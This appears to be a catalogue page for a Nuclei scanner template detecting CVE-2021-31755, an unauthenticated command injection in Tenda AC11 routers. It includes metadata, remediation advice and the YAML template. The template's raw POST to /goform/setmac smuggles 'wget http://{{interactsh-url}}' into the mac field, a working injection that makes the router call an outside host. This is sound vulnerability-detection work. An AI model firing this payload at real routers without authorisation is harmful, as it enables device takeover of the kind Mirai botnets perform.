CVE-2021-31755: Tenda Router AC11 - Remote Command Injection
- Template: CVE-2021-31755
- Name: Tenda Router AC11 - Remote Command Injection
- Description: Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
- Impact: Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.
- Remediation: Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
- Severity: critical
- Authors: gy741
- Tags: cve2021, cve, tenda, rce, oast, router, mirai, kev, vkev, vuln
- References: https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3, https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai, https://nvd.nist.gov/vuln/detail/CVE-2021-31755, https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors, https://github.com/Yu3H0/IoT_CVE
- Cves: CVE-2021-31755
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-31755.yaml
- Digest: 4a0a0047304502206c9b6bf815f5cc256c450eb5d294326059d86e68c33c8eed14a08a6096c8bb69022100e170f0d20b513aea7c5ede4dff1d5084ccd9638536eb90371b5d81403620d312
- Created at: 2021-07-16T12:34:52Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1957
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31755.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-787
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.86511
- Epss percentile: 0.99743
- Cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: ac11_firmware
- Vendor: tenda
Products
| Product | Indexed | Url |
|---|---|---|
| tenda:ac11_firmware | yes | /v1/products/tenda/ac11_firmware |
Labels
- Name: Tenda Router AC11 - Command Injection
- Impact: Attackers can execute arbitrary commands on the device, potentially leading to full device compromise or control.
- Remediation: Update to the latest firmware version provided by Tenda to patch the vulnerability.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-31755
- Not known: requirements
```yaml
id: CVE-2021-31755
info:
name: Tenda Router AC11 - Remote Command Injection
author: gy741
severity: critical
description: Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.
remediation: |
Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
reference:
- https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
- https://nvd.nist.gov/vuln/detail/CVE-2021-31755
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
- https://github.com/Yu3H0/IoT_CVE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-31755
cwe-id: CWE-787
epss-score: 0.86511
epss-percentile: 0.99743
cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: tenda
product: ac11_firmware
tags: cve2021,cve,tenda,rce,oast,router,mirai,kev,vkev,vuln
http:
- raw:
- |
POST /goform/setmac HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Referer: {{BaseURL}}/index.htmlr
Content-Type: application/x-www-form-urlencoded
module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
digest: 4a0a0047304502206c9b6bf815f5cc256c450eb5d294326059d86e68c33c8eed14a08a6096c8bb69022100e170f0d20b513aea7c5ede4dff1d5084ccd9638536eb90371b5d81403620d312:922c64590222798bb761d5b6d8e72950
```